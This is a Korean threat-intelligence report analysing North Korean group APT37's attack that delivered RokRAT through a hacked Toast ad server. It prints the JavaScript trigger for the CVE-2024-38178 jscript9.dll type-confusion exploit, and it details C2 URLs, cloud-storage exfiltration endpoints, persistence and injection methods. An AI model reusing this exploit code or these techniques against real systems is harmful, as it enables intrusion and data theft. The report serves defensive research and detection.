블로그
home
Nation-State Cyber Actors Analysis Report
home
🇰🇵

Analyzing the North Korean hacking group APT37 (Scarcruft) attack with CVE-2024-38178 : Operation Code On Toast

Classification
TLP:CLEAR
Release Date
2024/10/23
Writer
Wonbo Oh
GyeongRyeol Kim
Editor
Bohyeong Son
Mihee Kim
Tags
CVE
APT37
ScarCruft
CVE-2024-38178
CVE-2022-41128
Type Confusion
Ruby
RokRAT
Malware
DPRK
2 more properties

Executive Summary

(Attack Overview) 2024년 6월, 북한 위협 그룹인 APT37(Scarcruft)이 JScript9.dll 내의 CVE-2024-38178취약점을 악용하여 한국 내 특정 조직을 대상으로 공격을 수행한 내용이 포착
(Using Vulnerability) 2020년 11월 공개된 CVE-2022-41128을 우회하는 Type Confusion 취약점 CVE-2024-38178을 사용 - CVE-2024-38178은 JScript9.dll의 JIT 엔진이 일반 산술 변환 예외 연산자로 초기화된 변수에 잘못된 최적화를 수행하면서 발생하는 Type Confusion 취약점’으로, 2022년 11월에 공개된 CVE-2022-41128 패치를 우회한 공격 - CVE-2022-41128은 2022년 북한 배후의 위협 그룹이 악용한 것으로 미루어 공격자들이 취약점을 무기화(Weaponization)했을 가능성이 높으며, 공격자는 해당 취약점으로 Windows시스템에 RCE(Remote Code Execution)이 가능
(Distribution Methods) 국내 광고 대행사 중 한 업체의 광고 서버를 해킹한 후, Toast 광고 프로그램에 전달되는 HTML 코드(ad_toast.html)에 악성 iframe을 삽입하여 경유지를 통해 취약점 Exploit 코드가 포함된 JavaScript가 로드 되도록 변조 후 유포
(Action) 악성 스크립트 다운로드 후 Ruby 기반의 악성 스크립트를 통해 최종적으로 ROKRAT를 실행하여 클라우드 스토리지(Yandex, pCloud)로 정보 탈취 및 데이터 업로드·다운로드 수행
(Mitigation) 영향받는 버전의 Windows 사용 시 Windows 2024년 8월 이후 누적 업데이트 적용 또는 Microsoft Edge의 Internet Explorer 모드 비활성화

Reference

본 문서에는 공개된 정보를 기반으로 작성됨에 따라 하기 자료를 토대로 작성되었음을 밝힙니다.

1. Overview

1.1. Introduction

ScarCruft는 주로 해외 파견 근로자, 기자 및 선교사, 국내 대북 전문가 및 탈북자 등 북한 관련 인물들을 대상으로 해킹 메일이나 악성 모바일 앱(apk)을 유포하는 타깃형 공격을 통해 공격 대상의 휴대전화 기록, 데스크톱 기록, 메신저 채팅 기록 등의 탈취를 목적으로 한다.
과거 IE(Internet Explorer)의 취약점인 CVE-2022-41128(CVSS 8.8)을 악용한 대규모 공격을 진행하였으며, 이번 공격에서는 광고업계에서 ‘Toast 광고’로 불리는 무료 S/W 내 팝업광고 프로그램이 사용하는 IE 신규 취약점을 악용하였다. 해당 취약점(CVE-2024-38178, CVSS 7.5)은 Microsoft에서 2024년 8월 13일에 취약점 패치를 배포하였다.
ScarCruft의 별칭으로는 RedEyes, Group123, APT37, 금성121, Ricochet Chollima 등이 있다.
Toast 광고 : 백신 및 유틸리티 프로그램 등 개인 PC에 설치되는 무료 소프트웨어에서 PC 화면 우측 하단에 표출되는 광고창

1.2. Cases of Exploiting Similar IE Vulnerabilities

첫 번째 사례는 2021년 1월 발생한 ‘국내 언론사 워터링홀’ 공격으로 해커는 북한 전문 언론 매체의 웹 서버를 해킹한 뒤 홈페이지에 악성 JavaScript를 삽입하여 홈페이지 방문자를 대상으로 IE 취약점 코드를 유포했다. 해당 공격에 악용된 취약점은 2020년 8월에 공개된 CVE-2020-1380으로 당시 보안 업데이트 되지 않은 구버전의 IE 브라우저 사용자가 대상인 1-Day 취약점이었다.
두 번째는 2022년 10월 유포된 악성 MS워드 문서 관련 사례로 공격자는 해킹을 통해 미리 확보한 피해자 PC에서 모바일 메신저(PC버전)에 로그인 한 후 대북 전문가들이 주로 가입 된 단체 대화방을 통해 악성 워드문서를 유포했다. 해당 워드문서가 실행될 경우 악성 경유지로부터 원격 RTF 템플릿이 다운로드 되고 추가 HTML 파일을 받아오게 되는데, 이때 MS 워드가 IE를 통해 해당 HTML 랜더링 시 취약점이 발현된다.
해당 취약점은 최초 구글의 TAG팀 에 의해 ’22년 ‘이태원 참사’를 주제로 한 악성 MS워드 문서 분석과정에서 발견되었으며 이후 CVE-2022-41128로 발표되었다.
[북한 해킹그룹의 IE취약점을 이용한 공격 이슈 ]

2. Payload Delivery

페이로드 전달에 사용된 IE 취약점 CVE-2024-38178은 Toast 광고를 띄우는 프로그램과 함께 악용되었다. Toast 광고를 위한 프로그램은 다양한 무료 S/W와 함께 설치되며, 실행 시 광고 서버로부터 광고 컨텐츠를 다운로드 받게 된다. 일부 무료 S/W 제작사가 자체 광고 서버를 운영하는 경우도 있으나, 대부분 전문 광고 대행업체와 계약을 맺고 업체가 보유한 광고 서버의 컨텐츠를 이용한다.
Toast 광고 프로그램은 선택된 광고 대행사 서버에서 컨텐츠를 다운로드 받아 팝업 창 형태로 표시한다. 이때 서버는 광고 컨텐츠가 포함된 HTML과 JavaScript를 응답값으로 주는데, Toast 광고 프로그램은 해당 응답값을 IE 브라우저 또는 IE 관련 모듈로 랜더링하여 팝업 광고창을 띄운다.
[Toast 광고 실행 구조]
공격자는 국내 광고 대행사 중 한 업체의 광고 서버를 해킹한 후 Toast 광고 프로그램에 전달되는 HTML 코드에 악성 iframe을 삽입, 경유지를 통해 JavaScript가 로드되도록 변조했다. 해당 JavaScript 파일명은 ad_toast이며 IE(JScript9.dll)의 RCE 취약점이 발현되는 코드가 삽입되어 있다. 피해자 PC에 설치된 Toast 광고 프로그램은 CVE-2024-38178 Exploit 코드를 전달받아 랜더링하는 과정에서 취약점이 exploit되어 공격자가 미리 설정한 Shellcode로 실행 흐름이 바뀌게 된다.
[익스플로잇 실행 구조]
[iframe이 삽입된 HTML]

3. Exploit (CVE-2024-38178 : Type Confusion)

3.1. Background

웹 브라우저는 HTML, CSS, JavaScript 등의 언어로 작성한 코드를 사람이 읽을 수 있는 문서로 출력하는 프로그램으로, 주 기능은 사용자가 입력한 데이터를 서버에 요청하고 이를 전달받아 화면에 출력하는데 이 과정은 웹 브라우저의 렌더링 엔진과 JavaScript Engine에 의해 동작한다.
Microsoft에서 제작한 웹 브라우저의 JavaScript 엔진은 차크라(Chakra)라고 불리며 버전에 따라 다르게 불린다.
Internet Explorer Version
Name (DLL Name)
11.0 이하
legacy Chakra engine (jscript9.dll)
엣지 레거시 (EdgeHTML 기반)
new Chakra engine 또는 Edge engine (Chakra.dll)
[Internet Explorer 버전에 따른 차크라 엔진 호칭]
CVE-2024-38178은 Internet Explorer의 JavaScript Engine(이하 jscript9.dll)에서 발생하는 Type Confusion 취약점이며 2022년에 발견된 CVE-2022-41128과 유사한 특징을 가진다. 이를 악용하여 공격자는 원격지에서 임의의 공격 명령을 실행하는 RCE공격을 수행할 수 있다.
Type Confusion: 메모리에 할당 된 데이터의 실제 타입과 프로그램이 해석하는 타입이 일치하지 않을 때 발생하는 오류
[차크라 엔진에서 자바스크립트 실행 과정]
보안 취약점이 발생하는 근본적인 원인은 ▲ JavaScript 동작을 위한 자체 엔진 포함 ▲ 빠른 실행을 위한 Just-In-Time(JIT) compilation 방식을 사용하는 것에서 기인한다. Microsoft의 차크라 엔진에서 JavaScript로 작성된 코드가 실행되는 과정은 다음과 같다.
NO
Description
1
소스코드를 Parsing하여 Abstract Syntax Tree(AST)를 얻는다. AST는 Bytecode로 변환되어 차크라 엔진의 인터프리터에 의해 즉시 실행된다.
2
인터프리터는 바이트 코드를 실행할 수 있는 가상 머신이며, 실행 중인 함수의 데이터 유형(Type information) 및 호출 횟수(Invocation counts)와 같은 정보를 분석하여 함수의Profile data를 생성한다.
3
생성된 프로파일은 인터프리터의 단점을 보완하고 엔진의 효율성을 높이기 위해 최적화된 Machine code를 생성하는데 사용된다.
[Microsoft 차크라 엔진 JavaScript 코드 실행 과정]
차크라 엔진에서 생성된 최적화된 Machine code는 “JIT-ed code”라 불리며 인터프리터에서 여러 번 호출되는 코드가 탐지되면 Bytecode를 실행하는 대신 JIT-ed code를 실행하여 더 빠르게 프로그램을 동작시킬 수 있다.
자바스크립트 엔진에서는 여러 번 호출되는 코드를 따로 관리하는데 자주 반복되는 코드를 hot, 덜 자주 반복되는 코드를 warm이라 부른다. 코드가 hot으로 탐지되면 엔진은 해당 코드를 Stub Code로 변환하며, 이후 Bytecode를 실행하지 않고 미리 생성한 Stub Code를 사용하여 실행 속도를 향상시킨다.
하지만 Stub Code를 사용한 방식은 아래와 같은 과정을 통해 Type Confusion 문제가 발생할 수 있다.
NO
Description
1
Parameter로 정수형 변수(Integer value)를 입력 받는 함수가 있고 이 함수는 메인 부분에서 100번 호출
2
엔진에서는 이를 hot으로 간주 하고 정수형 변수를 전달받는 Stub Code로 변환하게 되는데 이 결과로 인해 해당 변수의 데이터 유형을 정수로 예측
3
이 때, 매개변수를 정수가 아닌 다른 데이터 유형으로 전달하게 되면 Type Confusion 발생 가능성 존재
[Type Confusion 발생 과정 예시]

3.2. CVE-2024-38178 Analysis

공격자는 과거에 사용한 CVE-2022-41128 exploit 코드에 단 3줄만 추가하여 기존의 패치 버전을 우회하였다. 전체적인 흐름은ex_func() 함수에 false를 인자로 주고 반복적으로 호출하여 JIT 컴파일러의 최적화 오류를 유도한 뒤 인자를 true로 바꿔 호출하여 정수배열 변수에 객체 데이터를 할당하는 것으로 Type Confusion을 발생시킨다.
// x86 Based var a = new ArrayBuffer(1400); var j = new Int32Array(a); var d = 1.2; // This part added in CVE-2024-38178 (1) var g = new Object({ a: 1, b:2, // Change a numeric type to a string type c: 3, d:4, // Change a numeric type to a string type e: av[137], f: 2 }); for (var e = 0; e < av.length; e++) { av[e] = new Array(0x41414141,); // AAAA } function ex_func(p, o) { var q; q = j; // Integer Array var n; for (var k = 0; k < 1; k++) { n = j[0]; break; } for (var l = 0; l < 1; l++) { if (p) { for (var m = 0; m < 1; m++) { ++d; // This part added in CVE-2024-38178 (2), // Makes it seem like the variable is initialized. q = d; // This part added in CVE-2024-38178 (3) o && (q = g); // Type Confusion break; } q[-1] = 1; } } p && (q[4] = 0x1FFFFFFF, q[11] = 0x1FFFFFFF, q[12] = 0x1FFFFFFF, first_leak_addr = q[5] + 16, vtable = q[0]); } for (var t= 0; t < 400000; t ++) { // Repeat 400,000 times ex_func(false, false); } ex_func(true, true);
JavaScript
복사
CVE-2022-41128의 패치 버전이 간단한 코드를 추가하는 것으로도 우회가 가능한 이유는 JIT Compiler에서 배열 최적화 과정을 수행하는 GlobOpt::OptArraySrc() 함수 내부의 ValueType::IsUninitialized() 함수와 관련이 있다.
GlobOpt::OptArraySrc() 함수 내부에선 ValueType::IsUninitialized() 함수로 변수의 초기화 여부를 확인하는데, 변수가 초기화되지 않았을 경우 IR::Opnd::SetValueType() 함수가 호출되어 취약점이 발현되지 않는다. 공격자는 증감 연산자(++, --)를 사용 하여 변수 q를 초기화된 변수로 착각하게 만들어 이를 우회하여 q=g 연산으로 인해 Type Confusion 취약점이 발생한다.
[ CVE-2024-38178 패치 이전 jscript9.dll의 GlobOpt::OptArraySrc() 함수 일부 ]
일반적으로 자바스크립트의 Object는 속성(Property)을 상속하거나 자체적으로 저장하며 차크라 엔진에서는 성능을 높이기 위해 Object의 추가 속성을 저장하는 auxSlots라는 배열을 사용한다.
CVE-2024-38178 exploit 코드에서는 함수 ex_func()가 40만 번 실행되면서 변수 q의 auxSlots가 생성된다. JIT 컴파일러는 ex_func() 함수가 반복 실행되면서 정수 배열(Int32Array)로 초기화 된 변수 q를 최적화하기 위해 이를 정수 배열로 인식하는데, 이 과정에서 실제로는 객체 g의 속성에 접근하는 잘못된 메모리 해석이 발생한다. 이때, 정수 배열로 초기화된 변수 q의 auxSlots는 Object의 5번째 속성 ‘e’와 메모리상 같은 위치(Offset 0x20)에 있게 된다.
실제로 변수 q는 객체이지만, JIT 컴파일러가 이를 정수 배열로 오인하여 q[0]에 접근 할 때 auxSlots의 위치에 접근하게 되는데 q[0]에 접근하는 것은 사실상 객체 g.e에 접근하는 것과 같아지게 된다. 객체 g.e는 배열 av[137]을 가리키므로 결국 g.e의 배열 av를 조작 가능하며, 이후 q[4], q[11], q[12]의 값을 0x1FFFFFFF로 변경하는데 이는 g.e의 배열 av의 Type과 관련이 있다.
[Type Confusion을 이용해 q 객체로 g 객체에 접근]
배열 av의 Type은 Js::JavascriptNativeIntArray이며 위에서 변경한 값은 각각 배열 av의 Array Length, Array Actual Length, Buffer Length 항목이다. 이렇게 배열의 길이를 조작하면 공격자는 Object Dataview를 사용하거나 함수 포인터, 가상 함수 테이블(vtable) 등을 변경함으로써 임의의 메모리 영역에 대한 읽기 및 쓰기가 가능하게 되고 공격자가 원하는 코드를 실행할 수 있게 된다.
[변수 q를 통한 배열 길이 조작]
CVE-2024-38178의 패치 후 jscript9.dll의 GlobOpt::OptArraySrc() 함수를 살펴보면 wil::details::FeatureImpl<__WilFeatureTraits_Feature_1489045819>::__private_IsEnabled(&wil::Feature<__WilFeatureTraits_Feature_1489045819>::GetImpl'::2'::impl); 함수가 추가되어 결과 값에 따라 변수 초기화 여부를 검증하는 분기로 진입하여 변수 초기화 여부를 검증하는 과정이 보완된 것을 확인할 수 있다.
이후 ValueType() 클래스에서 정의된 연산자를 통해 두 개의 정수형 값을 비교하는 과정이 추가하여 두 값의 Type을 비교하는 과정으로 값이 다를 경우 SetValueType() 함수를 호출하여 Type을 일치시키는 추가적인 작업을 수행하게 된다.
[ CVE-2024-38178 패치 이후 jscript9.dll의 GlobOpt::OptArraySrc() 함수 일부 ]

4. Malware Analysis

Execution Flow

[Malware Execution Flow]

STEP 1. Installation

Installation Summary

Type
Execution method
Key functions
1st Malware
Shellcode
- 악성코드 분석환경 탐지 후 2nd Malware 다운로드 및 실행
2nd Malware
Shellcode + PE
- 시스템 정보(BIOS, 드라이브 시리얼 넘버, 컴퓨터 이름, 사용자 명) 암호화 전송 - 경유지 응답 값에 따른 명령 수행(3rd Malware 다운로드 및 실행)
3rd Malware
Shellcode + PE
- ruby standalone 이용한 RokRAT 실행 및 지속성 확보

1. ad_toast → 1st Malware Injection - Malware Analysis Environment Detection

1st Malware는 첫 1byte를 key 값으로 XOR 후 실행되는 shellcode 형태로, 아래와 같이 동작한다.
NO
Description
1
ad_toast.html의 shellcode가 경유지에서 1st Malware(43, shellcode) 다운로드 후 explorer.exe에 injection하여 실행
2
현재 실행중인 PC가 악성코드 분석 환경인지 탐지 1) 바탕화면, 작업표시줄에서 분석도구 존재 여부 확인 2) 실행 중인 프로세스 중 분석도구 관련 프로세스 존재 여부 확인
3
IsDebuggerPresent 함수를 통해 디버깅 상태인지 확인 후 2nd Malware(23, shellcode) 다운로드 및 실행
[1차 악성코드 동작 과정]

2. 2nd Malware - Gathering System Information

2nd Malware는 첫 1byte를 key 값으로 XOR 후, Shellcode가 아니라 In-Memory로 실행되는 PE 형태이다. 피해 시스템의 BIOS, 드라이브 시리얼 넘버, 컴퓨터 이름, 사용자 명을 암호화하여 경유지(/RealMedia/ads/adstream_sx)로 전송하는 동작을 수행하며, 이후 경유지에서 보낸 응답 값에 따른 명령을 수행한다. 실제 사례에서는 1번 응답 값에 해당하는 명령을 실행했다.
Response
Command
1
3rd Malware(move) 다운로드 및 실행
4
프로세스 종료
0
1분 대기 후 재요청
[응답 값에 따른 명령]

3. 3rd Malware - Download Additional Payloads

3rd Malware는 첫 1byte를 키 값으로 XOR 후, Shellcode가 아니라 In-Memory로 실행되는 PE형태이다. 감염 PC의 시스템 정보를 이용해 고유 키 값을 생성하는데 고유 키 값은 백업 폴더명, 드롭 파일의 암호화(AES-CBC) 키 생성 및 최종 실행되는 RokRAT에서 내부 데이터 복호화 시에 사용한다.
unique_key(고유 키 값) = #MD5([1][2])[16:31]
[1]
- Windows7 버전 → ‘컴퓨터 이름’ 사용 - 그 외 버전 → ‘디스크드라이브 모델명’ 사용
[2]
- UUID
[2nd Loader, RokRAT 복호화에 사용되는 고유 키 값(MD5) 생성]
주요 동작으로 2차 경유지에서 암호화된 ruby standalone 파일(ban04.bak)을 다운로드 후 C:\Ruby31 폴더를 생성하여 내부에 파일을 복호화 후 실행한다.
NO
Secondary C2
1
hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBajh0Ynp6N19QRk5seTZBa1hrTzB0cVRQLTltP2U9d1FpQ2Xn/root/content
2
hxxp://www.dramaskin.co.kr/images/main/ban04.bak
3
hxxp://www.goOOOOO.net/images/top_08.bak
[2차 경유지 목록]
ruby standalone 생성 후에는 C:\Ruby31\lib\ruby\3.1.0\rubygems\defaults\operating_system.rb 파일에 추가 악성 스크립트를 삽입하는데, operating_system.rb 파일은 rubyw.exe가 실행될 때 함께 실행되는 파일이기에 이후에 지속적인 악성행위의 트리거 역할로 사용된다.
[operating_system.rb 파일 스크립트]
추가 악성 스크립트는 다음 도메인들 중 하나를 선택하여 동작하는 것으로 확인된다.
update.microsoft.com
office.microsoft.com
download.microsoft.com
mail.google.com
www.msn.com
online.microsoft.com
go.microsoft.com
[추가 악성스크립트에서 사용하는 도메인 목록(7개)]
operation_system.rb 파일은 rubyw.exe 프로세스에서 실행되어 3종의 악성코드(1차, 2차, ROKRAT 변종)를 In-Memory 로더 코드와 결합한 후 드롭한다.
Type
Encryption
Location
1st Loader
XOR Encoding
%programdata% 하위에 생성한 랜덤 폴더
2nd Loader
고유 키 값 사용한 AES-CBC 암호화
%programdata% 하위에 생성한 랜덤 폴더
ROKRAT
고유 키 값 사용한 AES-CBC 암호화
%programdata% 하위에 생성한 랜덤 폴더
[드롭 파일 별 암호화 방식 및 드롭 위치]
ridk install
vendor_ruby
OpenSSL_Library
csv_ruby
rubyinstaller
irbrc_predefiner
The OpenSSL Toolkit
ruby_extension
MSYS2
Ruby devkit
POSIX WinThreads for Windows
Ruby-Extension
3.1.2-1-x86-msvcrt
singleton_ruby
WinPthreadGC
Runtime Ruby
C extensions
fiddle_ruby
MingW-W64 Project
ruby-mon
toolchain
ripper_ruby
yaml_ruby
Ruby interpreter (DLL)
gems
rubygems
digest_ruby
YAML
RubyInstaller2
Ruby 3.1.2-1-x86-msvcrt
bundler_ruby
UnicodeNormalize
MINGW development toolchain
RubyInstaller Team
ruby_cgi
RubyVM
MSYS2 base installation
Yukihiro Matsumoto
ruby_csv
RubyLex
MSYS2 system update
Ruby interpreter (GUI)
ruby_forensic
PrettyPrint
MSYS2 and MINGW
Ruby interpreter (GUI) 3.1.2p20
ruby_digest
i386-mingw32
RubyInstaller3
Ruby interpreter (GUI) 3.1.2p20 [x64-mingw-ucrt]
ruby_package
ruby-lang
RubyInstaller312
x64-mingw-ucrt
package_ruby
Modified BSD License
Ruby Benchmark
3.1.2p20
ruby_bundler
Start Command Prompt with Ruby
site_ruby
libcrypto
cgi_ruby
RubyGems Documentation Server
Interactive Ruby
Uninstall Ruby 3.1.2-1-x86-msvcrt
Uninstall Ruby 3.1.2-1-x64-msvcrt
[악성코드 드롭에 사용되는 하드코딩된 폴더명(67개)]
드롭된 3종의 악성코드와 2차 경유지에서 다운받은 ruby standalone 파일은 백업 폴더로 복사하고, 추후에 RokRAT에서 원본 파일 미발견 시 백업 폴더에 있던 파일을 사용한다.
백업 폴더 경로 : %AppData%\DESKTOP-MD5(unique_key[0:6])\MD5(unique_key)[7:14]
rubyw.exe의 지속성을 유지하기 위해 아래 2가지 방식을 통해 실행 방식을 설정한다.
Run Periodically
- 작업 스케줄러로 4분마다 rubyw.exe 실행하도록 등록 - 단, 360Tray.exe 실행 중일 경우 클립보드에 관련 문자열 할당 후 Windows API 이용한 키보드 이벤트 생성을 통해 스케줄러에 등록
Run at PC Startup
- rubyw.exe를 실행하는 바로가기 파일을 시작 프로그램 폴더에 드롭 - 바로가기 파일 드롭 실패 시 Run 레지스트리에 rubyw.exe 파일 등록
[rubyw.exe 지속성 유지 방법]

STEP 2. Command and Control

4. 1st Loader

1st Loader는 Shellcode가 XOR 디코딩되어 실행되며 내부 PE 데이터를 메모리 할당(In-Memory)하여 실행한다. 로더에서 사용하는 Windows API들은 암호화된 문자열을 복호화해서 동적으로 불러오는 방식으로 사용된다.
[API 호출 방식]
1st Loader가 rubyw.exe를 통해 실행되었는지 확인하기 위해 프로세스명에 ‘UBY’가 있는지 확인하는 과정이 발견되며, 문자열 미 존재 시 에러가 발생하며 종료한다.
[rubyw.exe에서 실행 중인지 확인하는 안티디버깅 코드]
이후 피해자 PC에 설치된 백신 프로그램의 종류에 따라 2nd Loader를 복호화 및 실행한다.
AVAST, SYMANTEC
현재 프로세스(rubyw.exe)에서 In-Memory 방식으로 실행
Others
system32 폴더 내 랜덤 실행파일에 Injection하여 실행
[백신별 2nd Loader 실행 방법]
ftp.exe
sort.exe
wsmprovhost.exe
winrshost.exe
SyncHost.exe
nslookup.exe
svchost.exe
WPDShextAutoplay.exe
label.exe
xcopy.exe
replace.exe
net.exe
find.exe
convert.exe
expand.exe
getmac.exe
PING.exe
fc.exe
tracert.exe
timeout.exe
tracerpt.exe
route.exe
[system32 폴더 내 실행 대상 프로세스 목록(22개)]
[WQL 쿼리 사용하여 안티바이러스 제품 목록 가져오기]
[AVAST, SYMANTEC 제품 탐지]
[AVAST, SYMANTEC 발견 여부에 따른 로더 실행 방식]

5. 2nd Loader

Injection되어 실행된 2nd Loader의 코드는 프로세스의 자체 종료를 막기 위해 ExitProcess 함수를 후킹하며, 인자를 확인하여 0xAC(172)가 아닐 경우에는 대기 상태, 0xAC(172)일 경우에는 Hooking을 복원한다.
[Hooking된 ExitProcess 함수]
2nd Loader는 고유 키 값을 이용해서 RokRAT의 파일 경로를 복호화 후 로드하여 사용하며, 1st Loader와 동일하게 설치된 백신 재확인 후 system32 폴더에 있는 랜덤 실행파일에 Injection하여 실행한다.
AVAST, SYMANTEC
rubyw.exe 재실행
Others
system32 폴더 내 랜덤 실행파일에 Injection하여 실행
[백신별 RokRAT 실행 방법]

6. RokRAT

Injection된 코드는 고유 키 값을 이용해 내부 데이터를 복호화하여 최종적으로 메모리 상에서 RokRAT를 실행한다.
[cloud-api.yandex.net 접근 현황]
Action
API HTTP Request URL
파일 목록 확인
https://cloud-api.yandex.net/v1/disk/resources?path=%s&limit=50
파일 업로드
https://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%s
파일 다운로드
https://cloud-api.yandex.net/v1/disk/resources/download?path=%s
파일 삭제
https://cloud-api.yandex.net/v1/disk/resources?path=%s&permanently=%s
[yandex 클라우드 스토리지 동작별 요청 URL]
이번 RokRAT 변종은 윈도우 프로시저에 수신되는 메시지 기반으로 동작하여, 수신한 메시지에 해당하는 핸들러에서 악성 행위를 수행하는 특징을 보인다.

6-1) WM_CREATE - Initial Setup for Malicious Activity

WM_CREATE는 윈도우가 생성될 때 전송되는 메시지로, 발생 시 악성 행위를 위한 초기 설정을 진행한다.
절취할 파일 확장자 리스트 설정
리스트 : .doc .mdb .xls .ppt .txt .amr 등 20개
명령, 결과 데이터 암 ·복호화(AES) 키 생성에 필요한 15Byte 값 생성
생성 : [0-9][a-z][A-Z]`~!@#$%^&()_-+=;’,./\:*?”<>|{15}
%AppData% 경로에 숨김 속성으로 작업 폴더 10개를 생성
제외 : Crypto, Recent, RSA, Avast, Symantec, Trend, Avira, DESKTOP, 360
절취 정보 전송을 위한 클라우드 서비스 설정(기본:Yandex)
키보드 입력 정보 절취를 위한 WM_INPUT 메시지 수신 설정
USB 자료 절취를 위한 WM_DEVICECHANGE 메시지 수신 설정
클립보드 정보 절취를 위한 WM_CLIPBOARDUPDATE 메시지 수신 설정
악성 행위 발현을 위한 WM_TIMER 메시지 발생(6초, 30초) 설정

6-2) WM_INPUT - Steal Keyboard Input Data

WM_INPUT 메시지는 윈도우에서 입력 장치로부터 입력되는 데이터를 받을 때 전달되는 메시지로, 발생 시 키보드 입력 정보를 절취한다.
저장 포맷 : \r\n{윈도우 창 텍스트}\r\n키보드 입력 데이터

6-3) WM_CLIPBOARDUPDATE - Steal Clipboard Data

WM_CLIPBOARDUPDATE 메시지는 클립보드의 내용이 변경될 때 발생하는 메시지로, 발생 시 클립보드 정보를 절취한다.
저장 포맷 : \r\n<윈도우 창 텍스트>\r\n클립보드 데이터

6-4) WM_DEVICECHANGE - Steal USB Data and Collect Info

WM_DEVICECHANGE 메시지는 디바이스 또는 컴퓨터의 하드웨어 구성이 변경 됐을 때 발생하는 메시지로, 발생 시 USB 자료 절취 및 정보를 기록한다.
USB 장치 정보(이름, 설명, 제조사) 및 파일 정보 수집 후 파일로 저장
파일명 : YYYYMMDDHHMMSS.usb.log
USB 내의 아래 문자열을 포함하는 파일 절취
.doc
.mdb
.xls
.ppt
.txt
.amr
.3gp
.csv
.vcf
.hwp
.pdf
.eml
.msg
.m4a
.rtf
.url
.key
.der
MFT
[절취 대상 파일 목록]

6-5) WM_TIMER - Periodically Run Malicious Activity

WM_TIMER 메시지는 타이머 이벤트가 발생했을 때 전달되는 메시지로, 특정 작업을 주기적으로 수행할 때 사용한다. ROKRAT은 WM_CREATE에서 설정한 6초, 30초 메시지에 맞춰 주기적으로 악성 기능이 동작하도록 했다.
[2분 주기 실행]
지속성을 위해 삭제된 파일 및 레지스트리 복구
[3분 주기 실행]
키보드 입력, 클립보드, 화면캡쳐 절취 데이터를 파일로 생성
파일명 : YYYYMMDDHHMMSS.err
1Byte
16Byte
4Byte
NByte
1: 키보드, 2: 클립보드, 3: 화면캡쳐
LocalTime
DataSize
Data
[파일 포맷]
[5분 주기 실행]
뮤텍스 체크 후 없을 시 Ruby 프로그램 실행
실행 : cmd.exe /c “C:\Ruby32\bin\rubyw.exe”
[6분 주기 실행]
USB 절취 자료들을 하나의 암호화 파일로 생성 후 업로드 폴더로 이동
클라우드 서버로부터 명령 데이터 다운 및 실행
명령 데이터가 클 경우 파일로 생성 : YYYYMMDDHHMMSS.tmp
명령 데이터는 AES-CBC로 암호화되어 있어 복호화 후 1바이트의 Command 값에 해당하는 명령을 수행한다.
[명령 데이터 포맷]
각 명령 코드에 해당하는 기능은 아래 표와 같으며, 과거 RokRAT과 비교했을 때 카카오톡, WeChat의 대화기록 수집 등 다양한 기능들이 추가되었다.
명령 코드
기능
72
절취할 파일 확장자 리스트 수정 후 초기 설정 데이터 파일 업데이트
73
악성 기능 On/Off 변수 수정
74
클라우드 및 토큰 정보 업데이트 후 초기 설정 데이터 파일 업데이트
75
%Appdata%\[작업 폴더] 경로에 파일 생성
76
명령 수행 전송 플래그 설정 후 초기 설정 데이터 파일 업데이트
77
악성코드와 관련된 파일 및 폴더, 레지스트리 삭제 후 종료
78
특정 프로세스 종료
79
파일 삭제, 이동, 실행, 복사
80
클라우드 서버 or C2 서버로부터 명령 수신 및 실행
81
%Appdata%에 생성한 작업 폴더 삭제
82
REBOOT 또는 CMD 명령 수행
83
한글, 워드 관련 설정파일 수정 및 삭제
84
파이프 통신
85
txt 파일 다운로드
86
컴퓨터, 브라우저 및 메신저 관련 정보 수집 • PC 정보 수집(컴퓨터, 네트워크, 디스크 정보 등) • Chrome, Edge, Opera, Naver Wales, FireFox 관련 정보 수집 • 초기 설정 데이터 업로드 • 카카오톡 대화 기록 수집 • WeChat 대화 기록 수집
87
파일, 드라이브, 레지스트리 검색 결과 전송
88
파이프 통신으로 데이터 전송 및 정보 수집 명령
89
Command명령 수행 파일 생성 및 자동실행을 위한 레지스트리 설정 후 실행
[명령 코드 별 수행 동작]
[15분(Init:6분) 주기 실행]
결과 파일(.log 등)들을 하나의 암호화 파일로 생성 후 업로드 폴더로 이동
[20분 주기 실행]
업로드 폴더에 있는 파일들을 클라우드 서버로 업로드
[30분(Init:2분) 주기 실행]
2분 : 클라우드에 작업 폴더 설정 후 초기 설정 데이터 및 감염PC 정보 수집 데이터 암호화 후 클라우드 서버에 업로드
30분 : 카운팅을 통해 120분마다 악성행위 설정 데이터 암호화 후 클라우드 서버에 업로드
[60분(Init:10분) 주기 실행]
YYYYMMDDHHMMSS.err 파일들을 하나의 암호화 파일로 생성 후 업로드 폴더로 이동
RokRAT 악성코드는 이러한 명령제어를 수행할 때 C&C 서버로 상용 클라우드를 이용한다. 이번 공격에서는 Yandex 클라우드를 사용하도록 기본 설정이 되어있지만, 악성코드 내부의 다른 클라우드와 통신할 수 있는 명령 기능도 존재한다.
Yandex
CloudBox
CloudLocal
PCloud
Dropbox
VirtualCloud
OneDrive
CloudGoogle
CloudServer
[하드코딩된 클라우드 목록]

5. [Appendix] ad_toast.html Analysis

html 파일을 열면 난독화된 자바스크립트가 확인되는데, 사용된 다양한 함수들 중 aw() 함수에서 CVE-2024-38178 취약점 발현을 위한 코드가 발견된다.
[ad_toast.html CVE-2024-38178 발현 지점]
취약점을 이용해 수행하는 동작은 Shellcode를 프로세스에 삽입하여 실행하는 것으로, 난독화 해제 시 탐지가 힘들도록 Escape Sequence Encoding(%u####)이 된 Shellcode를 확인할 수 있다.
[이스케이프 시퀀스 Encoding된 Shellcode]
[확인된 Shellcode]
Shellcode를 추출하여 분석한 결과 URLOpenBlockingStreamW 함수를 이용해 하드코딩된 C2에 접근하여 추가 페이로드를 다운로드 후 실행하는 것으로 추정된다.
URLOpenBlockingStreamW 함수는 동기(Sync)형 방식이어서 모든 데이터를 내려 받아야 값이 반환되지만, 분석 시점에는 C2에 접근할 수 없어 데이터를 받지 못해 프리징 현상이 발생하였고 추가 분석을 진행할 수 없었다.
[쉘 코드 일부 (1)]
[쉘 코드 일부 (2)]
[하드코딩된 C2 주소]
[C2 접근 불가(400 에러)]

6. [Appendix] IoC(Indicator of Compromise)

6.1. Files

본 문서에는 광고 서버에서 사용된 2, 3, 4 악성파일의 직접수집이 불가함에 따라 관련 내용은 Reference를 참고하였습니다.
NO
File Name
MD5
Notes
1
ad_toast.html
e11bb2478930d0b5f6c473464f2a2B6e
